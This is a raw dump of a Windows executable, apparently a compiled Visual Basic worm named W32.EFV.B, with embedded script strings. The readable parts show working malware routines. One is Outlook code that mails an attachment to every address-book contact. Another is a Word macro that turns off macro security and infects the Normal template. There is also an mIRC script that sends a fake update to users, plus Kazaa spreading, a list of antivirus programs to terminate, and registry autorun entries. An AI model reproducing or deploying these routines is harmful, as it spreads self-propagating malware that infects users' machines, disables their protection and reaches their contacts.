MZ                @                                       	!L!This program cannot be run in DOS mode.
$       PE  L =          H               `    @                          |                                 p  (                                                                     @      p                             .text   G      H                    `.data   p   `                      @  .idata     p      L              @  @.rsrc         
   N              @  @.reloc           X              @  BOG5           MSVBVM50.DLL                                                                                                                                                                                                                                                                                                                                                                                                                                    %p@ %4q@ %8q@ %Dq@ %p@ %p@ %@q@ %(q@ % q@ %q@ %p@ %p@ %p@ %p@ %p@ %p@ %p@ %q@ %p@ %q@ %p@ %p@ %q@ %p@ %q@ %0q@ %Hq@ %$q@ %q@ %<q@ % q@ %p@ %p@ %p@ %q@ %,q@ h@       0   @       N"	DEST           me NexW32_EFV_B licati    P   C"	DEST                                                  0@ ]F   X"@    H @     @    @    t@    $@    @    @    P@    @    @    @ VB5!*             ~              	      @ `@ 0              (@ (@ @ h   w   {   |   w32.efv.b.worm EFV  W32_EFV_B     T@     W@ W@ p   `@ @     * \ A C : \ M y   P r o j e c t   3 \ W 3 2 . E F V . B \ W 3 2 . E F V . B . V B P                                                                                                                                                                                                                                                                                                                                                                                                                                                             x@       T@     9@     @  `@      `             @    |@     @    @     @    @   h l @ ld@     a @ @ @  4   @         @ a @ @  8   (@           P@ a 8@   @  <   (@           @ a @@   @  @   (@           8@ a H@       @ @ @ @ @                                                                                                                                 D@ @ @ @ @                                                                                                 l@ @ @ @ @                                                                                                 @ @ @ @ @                                                                                               T@         @ `@    a       P-b @ @ `d@  @  @  @ @ @ @  !@ (@ @ @ @ !@ @ 8!@ @ D!@ P!@ `!@ $@ l!@ t!@ *@ 0@ 6@ <@ B@ H@ !@ N@ !@ T@ `@ $@ Z@ `@ @ !@ !@ !@ !@ !@ "@ ("@ P"@ @ @  @ $@ f@ "@ l@ "@ #@ ,#@ P#@ h#@ x#@ #@ #@ #@ #@ $@ $@ ($@ D$@ @ X$@ `@ @ d$@ t$@ $@ r@ x@ ~@ $@ "@ $@ $@ $@ @ 0%@ %@ @ P%@ \%@ p%@ %@ %@ %@ 0@ t&@ @ &@  '@ '@ '@ @'@ p"@ \'@ '@ <@ '@ @ '@ H@ (@ ,(@ (@ )@ )@ )@ )@ )@ )@ )@ @ *@  *@ @ @ @ p*@ 4*@ |*@ @ *@ *@ *@ *@ +@ (+@ @+@ T+@ h+@ +@ +@ (@ +@  ,@ t,@ ,@ ,@ -@ 0-@ X-@ -@ -@ @ @@ (@ -@ `.@ .@ .@ .@ .@ /@ ,/@ X/@ /@ 0@ @ 4@ 40@ D0@ l0@ 0@ 0@ @  @ X @ @ @ 0@ D/@ tW@ @ D:@ @ |G@ @ 0A@ @ Ẑ>@ @ Q@ @  E@ @ \=@ @ 0L@ @ P<@ @ ẸB@ @ ?@ @ Ẅ;@ @ :@ @     `@ 9@     `@ J"	DEST  
    @             @ 	           @ P@             @     @a        @ t @     `@     @               Form1   Module1 W32_EFV_B      W 3 2 . E F V . b   (   c : \ w i n d o w s \ e f v _ b . r e g     D"	DEST  L"	DEST  C"	DEST  K"	DEST  :O3f  `ӓForm    .=h8 +3qC:\Program Files\DevStudio\VB\VB5.OLB   VB  @        	   @ @ c@         ^ N3f  `ӓText2   Text1   Text3    L             	   kernel32       RegisterServiceProcess  d@ t@    c@ c@ th@  @       GetCurrentProcessId d@ @    c@ c@ th@  @       GetExitCodeProcess  d@  @    c@ c@ th@  @       OpenProcess d@ D@     d@ d@ thP@  @       WritePrivateProfileStringA  d@ @    d@ d@ th@  @       user32     FindWindowA @ @    d@  d@ th@  @       PostMessageA    @ @    $d@ ,d@ th$@  @       shell32.dll    ShellExecuteA   T@ d@    0d@ 8d@ tht@  @       advapi32.dll       RegCloseKey @ @    <d@ Dd@ th@  @       RegOpenKeyExA   @ @    Hd@ Pd@ th @  @       RegQueryValueExA    @ 4 @    Td@ \d@ thH @  @    H                       0  4  D  H  X  h  x      #=h8 +3q"=h8 +3q    @  @     yO3f  `ӓ   N e x t R e L o a d        N e x t R e l o a d        i r c      p 2 p   
   m a c r o      i n f      \      . e x e        e f v             I n f              C : \ M y   D o c u m e n t s      C : \ M y   D o w n l o a d s      C : \ G a m e s        C : \ M y   M u s i c       C : \ P r o g r a m   F i l e s        o k      @ `d@ VBA5.DLL       c : \ e f v        . t x t         W o r d . a p p l i c a t i o n     X   H K E Y _ C U R R E N T _ U S E R \ S o f t w a r e \ M i c r o s o f t \ O f f i c e \     V e r s i o n      \ W o r d \ S e c u r i t y        A c c e s s V B O M     S y s t e m     P r i v a t e P r o f i l e S t r i n g     
   L e v e l   N o r m a l T e m p l a t e     V B P r o j e c t   V B C o m p o n e n t s     C o d e M o d u l e     L i n e s   S t a r t u p P a t h      e f v _ b . e x e   q u i t     N3f  `ӓI n s e r t L i n e s   s a v e        c : \   2   -   c o p y r i g h t   t o   D R - E F   2 0 0 2             -   B Y   D R - E F   &     -   W r i t t e n   b y   D R - E F        ( C )   t o   D R - E F      I R C      c : \ m i r c      c : \ m i r c 3 2   *   C : \ P r o g r a m   F i l e s \ m I R C   .   C : \ P r o g r a m   F i l e s \ m I R C 3 2      S o f t w a r e \ M i c r o s o f t \ W i n d o w s \ C u r r e n t V e r s i o n \ A p p   P a t h s \ w i n z i p 3 2 . e x e     |   S o f t w a r e \ M i c r o s o f t \ W i n d o w s \ C u r r e n t V e r s i o n \ A p p   P a t h s \ w i n r a r . e x e        z      r      n o n e         \ m i r c _ u p d a t e . e x e        c : \ e f v \ * . *     ,   c : \ e f v \ m i r c _ u p d a t e . e x e     ,   c : \ e f v \ m i r c _ u p d a t e . z i p         \ m i r c _ u p d a t e . z i p         \ m i r c _ u p d a t e . r a r        \ e f v . e f v     N   o n   1 : j o i n : # :   {   i f   (   $ n i c k   = =   $ m e   )   h a l t   
   D v p 9 5      R E G E D I T 4            e l s e     / m s g   $ n i c k   i   s e n d   u   n e w   u p d a t e   f o r   m i r c , t h i s   u p d a t e   i n c l u d e   s k i n s , c o o l   s c r i p t s , m p 3   p l a y e r   a n d   p l u g - i n .         / d c c   s e n d   $ n i c k                 }        r f i l e s        n 2        e f v . e f v      \ m i r c . i n i      n 3        \ * . e x e     6   S o f t w a r e \ K a z a a \ L o c a l C o n t e n t      d i r      A V P   M o n i t o r   *   A n t i V i r a l   T o o l k i t   P r o      A V P   U p d a t e s      A V W U P D 3 2        v s s t a t        A v c o n s o l        W e b s c a n x        V s h w i n        F P - W I N     D   F - S e c u r e   A n t i - V i r u s   f o r   W i n d o w s   9 5     &   F - S e c u r e   A n t i - V i r u s      F - a g n t 9 5            A n t i V i r e n K i t   9     N   I n o c u l a t e I T   R e a l - T i m e   P r o t e c t i o n   S t a t u s   8   I n o c u l a t e I T   P e r s o n a l   E d i t i o n        v e t t r a y   L   N o r m a n   V i r u s   C o n t r o l   f o r   W i n d o w s   9 5 / 9 8        n a v p w 3 2       N o r t o n   A n t i V i r u s     2   S o p h o s   A n t i - V i r u s   -   S W E E P   $   T r e n d   P C - c i l l i n   9 8        I o m o n 9 8          [ H K E Y _ L O C A L _ M A C H I N E \ S o f t w a r e \ M i c r o s o f t \ W i n d o w s \ C u r r e n t V e r s i o n \ R u n ]     &   N o r t o n   A u t o - P r o t e c t      =   (   N o r t o n   e M a i l   P r o t e c t     
   E F V _ B   B   r e g e d i t   / s   c : \ \ w i n d o w s \ \ e f v _ b . r e g   
   A V P C C      N A V   A g e n t        a   - m 5        [ H K E Y _ L O C A L _ M A C H I N E \ S o f t w a r e \ M i c r o s o f t \ W i n d o w s \ C u r r e n t V e r s i o n \ R u n S e r v i c e s ]        S c r i p t B l o c k i n g        r e g e d i t   / s        m a i l         c : \ e f v \ s e t u p . e x e        c : \ e f v \ w o r m . e f v      c : \ e f v \ w o r m . v b s      o p e n          - a       1 C"	DEST  D"	DEST  :O3f  `ӓ                                    q  B     Form1    B " #$ Form1 & ' 5        \    A D D   Text2 x ?#on error resume next
Set E = CreateObject("Outlook.Application")
If E = "Outlook" Then
Set F = E.GetNameSpace("MAPI")
For Each V In F.AddressLists
If V.AddressEntries.Count > 0 Then
For i = 1 To V.AddressEntries.Count
Set B = V.AddressEntries(i) 
Set L = E.CreateItem(0) 
Set z = CreateObject("Outlook.Application")
Set t = z.CreateItem(0)
t.To = B.Address
t.Subject = "Re:" & B.Address
t.Body = "Check this stuff."
t.Attachments.Add "c:\efv\setup.exe"
t.DeleteAfterSubmit = True
t.Send
set z=nothing
Next
End If
Next
End If
      Text3 x ? on error resume next
Set f = CreateObject("Scripting.FileSystemObject")
Set e = f.OpenTextFile("c:\efv\worm.efv", 1)
dim d
d= e.ReadAll
execute d
  )   Text1     x Private Sub Document_open()
On Error Resume Next: r = Application.Version
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" _
& r & "\Word\Security", "AccessVBOM") = &H1
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" _
& r & "\Word\Security", "Level") = &H1: Options.VirusProtection = 0
h = Application.StartupPath & "\efv_b.exe"
p$ = ThisDocument.Variables("E").Value
If p$ = "" And Dir(h) <> "" Then
Open h For Binary As #23
p$ = String(LOF(23), Chr(0))
Get #23, , p$
Close #23: End If
If p$ <> "" Then
If ActiveDocument.Variables("E").Value = "" Then _
ActiveDocument.Variables.Add "E", p$
If Normal.ThisDocument.Variables("E").Value = "" Then _
Normal.ThisDocument.Variables.Add "E", p$
If Dir(h) = "" Then
Open h For Binary As #23
Put #23, , p$
Close #23: End If: Shell h, 0
Set d = ActiveDocument.VBProject.VBComponents(1).CodeModule
Set n = NormalTemplate.Application.NormalTemplate.VBProject _
.VBComponents(1).CodeModule
If d.Lines(1, 1) = "" Then
For i = 1 To 34: c = n.Lines(i, 1): d.InsertLines i, c: Next i
End If
If n.Lines(1, 1) = "" Then
For i = 1 To 34: c = d.Lines(i, 1): n.InsertLines i, c: Next i
NormalTemplate.Save: NormalTemplate.Saved = True: End If
End If: End Sub
     9@     T@     9@                  @ @ dd@  @ (@ hd@     @             9@     9@ 9@ 9@             L          l 2  #t' 0pz/t   @     $                                  t   K l Ml@
$   E     h :l \ FL<:,  F
   t6 \<  _ @   ` $       q                         \ <     K l Ml@
$   R    ,
       x :l \ FL<, F
   t6
 \<,   @   l $       q                          \ < ,     K (8 h(H
 h  . X4l    ^  q<lqx2  lx    ]     +
       lx
  < h~   ` @  t  0       q              (  h               K "'l% 	 	 
  #h' 0/h  (8  X(H h  7:l| X:H} N  Y
\  6  /   
  
%  6  X~>   -  	 	 
     @    4       q              (   X           h      K 'X  D8H5X   HU]  Z  X
  X`1x5X HU   x    v HU=  8#4] /4 =  8#4HU] /4 HU   x    x 'HUHU^  	 J	 C44    x/4 HU=     @  H  ,       q              x H           4 X   K ?h       LHD4lD ^  q@<l@    2 HD  
   q\ l\  1d Q\ld<4l<`     LHD4lDlh^  q@<l<dXl@    2 HD<  
l\R  l\   ld  1d ldFL l   lh
  <       @  @  ,       q             l d           H D < l
  l\
  \(L ]36 l\$
J   jl
K  5l'l
L  5l ( ,?B h 
#   :LM ,l:N \`#] /6 l\	 O *#P  /=:LM ,l:	 \:Q <
R  /6 l\<
#   ,~h $''<	 S *F\@   	 T *Fl
U  6 l\<   @   (0                         ,             l \ <    K "'l% 	 	 
  #h' 0/h0 
d 
R      d 
{   :l NXX
C  5X  ]  *hE $F TT G lhP  /hT =  ]  *hE $F  TT G lhP  /hT = 
#    E   d 84l8' <4l< @4l@ h4lhD"
  <2 h@<8 -  	 	 
        @  D 8(       q              D $          h @ < 8 T X   K (dh $   hP  >dFTlh %     4:Dx T2  F$5T 'T  D45T $:D' ]@  Dd
y  /d $#dU] /d U^       U         v U= 
#    )	 J  MD@T
  T:4	 ]@5T $d^z  iD H /d     $d
{  /d $#dU] /d U          x UZ        x 'UU^  	 J	 Cdd    x/d U=  H "$d
{  /d      'T2  F$5T h  ld
y  /d     @  x 0       q              $  l           d h T    K "'l% 	 	 
  #h' 0/h) 3 T
4  T4d5T J:' %:l5 dWT6 D:47 $%:8 %( %dW9 :  6 TD$ J:' %:l5 dWT6 D:47 $%:; %( %dW9 :  6 TD$ V(4 %( %(l %dWD< W= >  W? @  :' ]@6
 Dd *dWTA :l D:4B $
C  6 TD$ dD     d(4 %hE $F  G >hF%(l %dWD< W= >  W? H  6
 D dWD< I   5D *dWTA :l D:4B $
C  6 TD$ dD     -  	 	 
       @   0(       q              d <          h  T D $          K (< l(L
 h
 :\~ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 :\ N
  5 l~  "   
   :\ N^   5K  ]   P   ' P    P   A:\ :L p  6
  A:\ :L p  6
  L:\ :L :< p  6  A:\ :L p  6
  A:\ :L p  6
  ' P    P   A:\ :L p  6
  =     
{         *F
   t5   @   P4       q              ,  l  $                  K "'T%V 	 	 
  #P' =/P,   :TW    d :TX    d :TY    d :TZ    d ( <(, hu #    <"d@2  #PW/Ph 8:,' N:T[ N  Y
\   x 6  8:,' N:T] N  Y
\   h 6   x ^  7 _ CL g   h ^  [ ` CL ge  a CL  ) h :T' ]/ x :,' ]/'  lLC l_ 0 <"d:Tb 
C  5 :Tc N
$  5 
d 
R   :Te N
C  5  e Cf CPP
g  2 P :Tf N^   5@ 
#     '<"d:Th Pf 
i  /P5 <"d:Th Q l` 0 <"d:Tb 
C  5 E<"d:,b `<"d:Tj `P
k  2 P6  <"d:Tj Q la 0Q <"d:Tb 
C  5 <"d:Tb   '<"d:Tl `#P] /P5 m P   n P   :To p  5 q P   = T<"d:Tr 4ls 4lt 4lu P4lP
v  <2
 P5 T<"d:Tr 4ls 4lw 4lu P4lP
v  <2
 P5  <~  -  	 	 
     @   d      q    L            < d                              L  ,          P           K ^    qx<lx    t $   t|  t      
  < 
    
    '`% 	 	 
  #\pr/\ kr      ?L
  L<
  <(` ,\ 	 	 
  /\6 L<, OkrD`]L
  L<
  </,krkr6 L< : %:`	 %	 
 $  : %:`	 %	 
 $  : %:`	 %	 
 $  : %:`	 %	 
 $  ?L
  L<
  <(` ,\ 	 	 
  /\6 L<,  F\t $   tP     >\FL<
  <:` ]3t6 L<M X\t $   tP  l\ $   X  l*# *  2 \) t  a\t $   tP  l\ *# $   X  l*# *  2 \) t    ^  i` 4  'L  D5L   U]  U^  Z  i`    U^       Z  L
  L`   5L U          v    "L
  L` 0 5L UZ   0     v U= E  J   iL     M`@<
  <: ,` D 6 L<,  D U]  U    0     x U= :L
      D  *F<L,
   k`  6 <L, '  "  ^!  qx<lxi`       "
"  <      
#        "
"  < x  D M`@
$    D M`@
$   ,\t $   tP  >\FL
%  t5L "'`%& 	 	 
  #\' 0/\ :`( NLL
%  5L :`) NLL
%  5L :`* NLL
%  5L :`+ NLL
%  5L :`, NLL
%  5L -  	 	 
    
.    
/    
0    
1     D M`@
$       @   (       q               8          \    t  L < ,   ̞            (p  Pq  p                        q Q R S V x   ^q   rq   q  X q  q  `   q    :  @ B d  C  b h k  D     ȟ={={g2{J/{2{Z@<{a1{n03{<{`<{)1{*'0{3{!0{2{i
<{Jc2{Y+1{D0{\<{\<{?{u-1{3{0<{6/{xB4{a2{/{-^<{={.0{x#0{#0{oh<{b^<{    MSVBVM50.DLL    EVENT_SINK_AddRef   DllFunctionCall   EVENT_SINK_Release    EVENT_SINK_QueryInterface   __vbaExceptHandler    ProcCallEngine                                        =          X     @     (      =                =                =       1u    2u    3u        =       	         =                 =                 =           (      =           8  P          @  0         p  (                    0                4                 0  1u       2u   (  3u(                                                                                                    w   wp p                                                                                          (       @                                                                                                                                                                         p          wp      wwp    wp     p                                                                                                                                                                                                                                                                                   ??(       @                                 <?=<??                    ??                                                                                                                                                                                                                                                                                                                                                     00000 0&0,02080>0D0J0P0V0\0b0h0n0t0z00000000000000000p1|11111111111122$2(2,2d2l2p2x2|2444444444445555$545<5L5\5d5t55555555555T6X6\6`6d666666<7@7D7H7L777777777777 88888888 8$8(8,8084888<8@8D8H8L8P8T8X8\8`8d8h8l8p8t8x8|888888888888888888888888888888888 99999999 9$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|999999999999999999999999999999999 :::::::: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|::::::::::::::::::::::::::;;;;;;%;*;1;6;=;B;I;N;X;\;h;;;;;;;;;; ================>> >%>0>5>P>T>\>a>l>q>>>>>>>>>>> ??$?(?0?5?@?E?t?x???????????      (   0000 0%0H0L0T0Y0d0i000X2\2 0  4   99999999999:::D::;P<\=>?   @     012 5|70<   P     1t7                                                                                                                    